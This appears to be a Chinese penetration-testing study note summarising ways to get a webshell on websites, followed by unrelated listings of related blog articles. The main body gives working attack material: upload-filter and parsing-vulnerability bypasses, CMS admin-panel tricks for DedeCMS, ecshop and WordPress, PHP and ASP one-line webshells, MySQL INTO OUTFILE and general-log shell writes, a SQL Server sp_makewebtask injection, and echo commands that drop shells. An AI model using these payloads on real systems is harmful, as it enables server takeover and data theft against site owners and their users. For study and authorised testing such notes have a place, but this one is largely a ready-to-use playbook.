大纲

    管理员权限拿shell

普通权限拿shell

常见cms拿shell

进后台主要是可以对网站前台的内容,样式等做操作,要改脚本的内容的权限只有在webshell的权限下才可以(某些情况除外)。

管理员权限拿shell

需要有管理员权限才可以拿shell

通常需要登录后台执行相关操作

直接上传拿shell

国内多对上传类型进行了限制,需要在进行绕过操作

示例:织梦后台查找(改过之后的)

Google intext:powerd by DedeCMSV57_UTD8_SP2

DEDECMS V5.7

拿到织梦后台,基本就拿到了shell

文件式管理器->可修改网站脚本内容,也可以上传脚本

若遇见文件权限问题,可以修改文件名为../往上级目录翻

数据库备份拿shell

网站上传的文件后缀名进行过滤,不允许上传脚本类型文件,如asp,php,jsp,aspx等,二网站具有数据库备份的功能,这时我们可以将webshell格式先改为可上传的格式,然后,将找到上传后的文件路径通过数据库备份,将文件备份为脚本格式。

示例:南方数据 v7.0    良精通用企业网站管理系统

有时会将系统管理中的按钮删除,但是功能是依旧存在的,(脚本文件名,数据库备份:Manage_backup.asp)可以在网站检查中,将其他连接的地址改为数据库备份的地址。阉割版的网站,常见于ecshop,wordpress,dedecms,aspcms,良精,帝国,南方,phpv9,科讯。可以本地下载完整的网站源码,自己搭建,对目标网站尝试修改拼接。

突破上传拿shell

本地js验证上传

服务器mime上传

服务器白名单上传

服务器黑名单上传

服务器filepath上传

双文件上传

%00截断上传

上传其他脚本类型拿shell

修改网站上传类型配置拿shell

有的网站在网站上传类型中限制了上传脚本类型文件,可以添加上传文件类型,如php,jsp,asp等拿shell

利用解析漏洞拿shell

1、IIS 5.x/6.0解析漏洞          目录解析,分号解析,畸形文件名解析

2、IIS 7.0/7.5,Nginx<8.03畸形文件名解析漏洞,php文件解析漏洞

3、Nginx<8.03空字节代码执行漏洞

4、Apache解析漏洞

利用编辑器漏洞拿shell

常见的编辑器有fckeditor,ewebeditor,cheditor

网站配置插马拿shell

通过找到网站默认配置,将一句话插入到网站配置中,可以事先下载网站源码,查看过滤规则,防止插马失败("%><%eval request(“abc”)%><%’)根据网站源码进行符号匹配。

通过编辑模板拿shell

1、通过对网站的模板进行编辑,写入一句话,然后生成脚本文件拿shell

2、通过将木马添加到压缩文件,把名字改为网站模板类型,上传到网站服务器,拿shell

示例:ecshop

模板管理——库项目管理——配送方式

写入php脚本验证:<?php phpinfo();?>

访问/myship.php发现执行了phpinfo,之后就可以写入一句话,菜刀连接。注意:有时在后面有”?>”时,不会成功,可以去掉再尝试一下。

数据库管理——SQL查询——输入”use mysql”让报错,爆出路径——select “<?php phpinfo();?>” into outfile ‘地址\\x.php

注意:Windows中,斜杠要用两个反斜杠,Linux路径用单个斜杠

数据库管理——数据库备份——自定义备份(配合IIS6.0解析漏洞)创建用户(用户里面写入一句话)——放在ecs_users表中——备份——文件名为u.asp;.sql

上传插件拿shell

一些网站为了增加某些功能会在后台添加一些插件来实现,我们可以把木马添加到安装的插件中上传服务器拿shell,常见的有博客类网站dz论坛等

示例:WordPress-V4.2.2

搭建时要先创建数据库

phpstudy——mysql——create database wpp;

插件——已安装的插件——安装插件——下载一个正常的插件,将木马放在里面,一起上传,安装——找上传目录

数据库执行拿shell

可通过数据库执行命令导出一句话到网站根目录拿shell,access数据库导出一般需要利用解析漏洞xx.asp;.xml

sqlserver导出:;exec%20sp_makewebtask%20%20%27c:\zhetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request(“cmd”))%>%27%27%27

mysql命令导出shell

create TABLE study (cmd text Not NULL);

insert INTO study (cmd) VALUES(‘<?php eval($_POST[cmd])?>’);

select cmd from study into outfile ‘D:/php/www/htdocs/test/seven.php’;

drop TABLE IF EXISTS study;

use mysql;

create table x (packet text) type=MYISaM;

insert into x (packet) values(‘<pre><body><?php @system($_GET[“cmd”]);?></body></pre>’)

select x into outfile ‘d:\php\xx.php’

select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘c:/inetpub/wwwroot/mysql.php/1.php’

1.进入phpmyadmin

2.知道网站路径

3.直接执行SQL语句导入shell

注:有时可能出现不允许直接导shell

解决方法:首页——变量——general lag 编辑——ON——general log file 编辑 D:\phpstudy\www\ba.php——SQL——一句话用引号引起来——执行——报错——生成日志,利用日志记录生成shell

4.不知道路径时——推理路径

首页——变量——mysql的集成环境路径——apache的路径也知道了——D:\phpstudy\Apache\conf\httpd.conf——找个数据库——创建表:

create table a(a text);

开外链

load data infile “D:/phpstudy/Apache/conf/httpd.conf” into table  a;

导出SQL搜索documentroot

路径推理

D:/phpstudy/Apache/conf/httpd.conf                       配置文件的路径,找网站根目录

Apache

/usr/local/mysql

/usr/local/apache/conf/httpd.conf

/usr/local/httpd/conf/httpd.conf

/etc/httpd/conf/httpd.conf

/usr/local/apache2/conf/httpd.conf

ngnix

/usr/local/nginx/conf/nginx.conf

phpmyadmin一般在网站根目录下

当找不到配置文件时,可以读大文件,由于文件太大会报错,有可能会报出phpmyadmin的路径。

文件包含拿shell    多用于上传大马

先将webshell改为txt文件上传,然后上传一个脚本文件包含该txt文件,可绕过waf拿shell

asp包含

1.<!--#include file=”123.jpg”-->

2.调用的文件必须和被调用的文件在同一目录,否则找不到

3.如果找不到,用下面的语句

<--#include virtual=”文件所在目录/123.jpg”-->

php包含

<?php include(“123.jpg”)?>

命令执行拿shell

echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php

echo ^<^?php @eval($_POST[‘abc’]);?^>^ >c:\1.php

^<^%eval request(“abc”)%^>^ >c:\1.php

普通用户前台拿shell

0day拿shell

IIS写权限拿shell

命令执行拿shell

通过注入漏洞拿shell

    前台用户头像上传拿shell

strusts2拿shell

java反序列拿shell

渗透测试学习 二十二、getshell总结的更多相关文章

  1. kali linux 网络渗透测试学习笔记(二)OWASP ZAP工具扫描SQL injection漏洞失败

    按照惯例,利用OWASP ZAP工具扫描SQL injection漏洞时,应该很快就可以扫描出来,但是在笔者进行扫描的时候,却遇到了以下状况: 这说明了该工具根本就没能够扫描出SQL注入的漏洞,不知道 ...

  2. 学习笔记:CentOS7学习之二十二: 结构化命令case和for、while循环

    目录 学习笔记:CentOS7学习之二十二: 结构化命令case和for.while循环 22.1 流程控制语句:case 22.2 循环语句 22.1.2 for-do-done 22.3 whil ...

  3. python3.4学习笔记(二十二) python 在字符串里面插入指定分割符,将list中的字符转为数字

    python3.4学习笔记(二十二) python 在字符串里面插入指定分割符,将list中的字符转为数字在字符串里面插入指定分割符的方法,先把字符串变成list然后用join方法变成字符串str=' ...

  4. python3.4学习笔记(十二) python正则表达式的使用,使用pyspider匹配输出带.html结尾的URL

    python3.4学习笔记(十二) python正则表达式的使用,使用pyspider匹配输出带.html结尾的URL实战例子:使用pyspider匹配输出带.html结尾的URL:@config(a ...

  5. Go语言学习笔记十二: 范围(Range)

    Go语言学习笔记十二: 范围(Range) rang这个关键字主要用来遍历数组,切片,通道或Map.在数组和切片中返回索引值,在Map中返回key. 这个特别像python的方式.不过写法上比较怪异使 ...

  6. Tensorflow深度学习之十二:基础图像处理之二

    Tensorflow深度学习之十二:基础图像处理之二 from:https://blog.csdn.net/davincil/article/details/76598474   首先放出原始图像: ...

  7. (C/C++学习笔记) 二十二. 标准模板库

    二十二. 标准模板库 ● STL基本介绍 标准模板库(STL, standard template library): C++提供的大量的函数模板(通用算法)和类模板. ※ 为什么我们一般不需要自己写 ...

  8. VMware vSphere 服务器虚拟化之二十二桌面虚拟化之创建View Composer链接克隆的虚拟桌面池

    VMware vSphere 服务器虚拟化之二十二桌面虚拟化之创建View Composer链接克隆的虚拟桌面池 在上一节我们创建了完整克隆的自动专有桌面池,在创建过程比较缓慢,这次我们将学习创建Vi ...

  9. Senparc.Weixin.MP SDK 微信公众平台开发教程(二十二):如何安装 Nuget(dll) 后使用项目源代码调试

    最近碰到开发者问:我使用 nuget 安装了 Senparc.Weixin SDK,但是有一些已经封装好的过程想要调试,我又不想直接附加源代码项目,这样就没有办法同步更新了,我应该怎么办? 这其实是一 ...

  10. Alink漫谈(二十二) :源码分析之聚类评估

    Alink漫谈(二十二) :源码分析之聚类评估 目录 Alink漫谈(二十二) :源码分析之聚类评估 0x00 摘要 0x01 背景概念 1.1 什么是聚类 1.2 聚类分析的方法 1.3 聚类评估 ...

随机推荐

  1. SharePoint PowerShell 创建网站栏

    前言 最近,有这么个需求,需要使用PowerShell为网站集创建网站栏,好吧,直接看代码吧. Add-PSSnapin Microsoft.SharePoint.PowerShell -ErrorA ...

  2. OpenCV绘制直线,矩形和园

    首先导入我们所需要的库: import numpy as np import cv2 import matplotlib.pyplot as plt 自定义显示图像的函数: def show(imag ...

  3. Python语法速查: 1. 数据类型与内置函数

    返回目录 (1)常用内置数据类型 分类 类型名称 描述 数字 int 整数 float 浮点数 complex 复数 bool 布尔值 序列 str 字符串(不可变序列) list 列表 tuple ...

  4. Hbase启动出问题 master.HMaster: Failed to become active master

    Hbase启动出问题 2019-12-15 09:59:57,183 WARN [hadoop:16000.activeMasterManager] hdfs.DFSClient: DFS Read ...

  5. 剑指Offer-30.连续子数组的最大和(C++/Java)

    题目: HZ偶尔会拿些专业问题来忽悠那些非计算机专业的同学.今天测试组开完会后,他又发话了:在古老的一维模式识别中,常常需要计算连续子向量的最大和,当向量全为正数的时候,问题很好解决.但是,如果向量中 ...

  6. JavaWeb 增删改查功能

    1.今天来写一个简单的增删改查功能,这个项目还是接着在昨天写的 --JavaWeb实现简单登录注册-- 来写的. 登录成功进来后对学生信息的增删改查 2.项目文件为: 3.好了,直接贴上今天新写的代码 ...

  7. 《大数据技术应用与原理》第二版-第二章大数据处理架构Hadoop

    2.1概述 Hadoop是Apache旗下的开源分布式计算平台,是基于Java开发的,具有很好的跨平台特性,其中核心文件是MapReduce和HDFS,而HDFS是根据谷歌文件系统GFS开源实现,是面 ...

  8. 第02组 Beta版本演示

    目录 1. 博客链接及组员信息(2分) 2. 贡献比例(3分) 3. GitHub 项目链接(1分) 4. 博客汇总(2分) 5. 燃尽图(3分) 6. 原计划.达成情况及原因分析(6分) 7. Be ...

  9. 【STM32H7教程】第25章 STM32H7的TCM,SRAM等五块内存基础知识

    完整教程下载地址:http://www.armbbs.cn/forum.php?mod=viewthread&tid=86980 第25章       STM32H7的TCM,SRAM等五块内 ...

  10. 代码生成工具Database2Sharp的架构介绍

    1)代码生成工具介绍 Database2Sharp是一款代码生成工具和数据库文档生成工具,该工具从2005年开始至今,一直伴随着我们的客户和粉丝们经历着过各种各样的项目开发,在实际开发中能带来效率的提 ...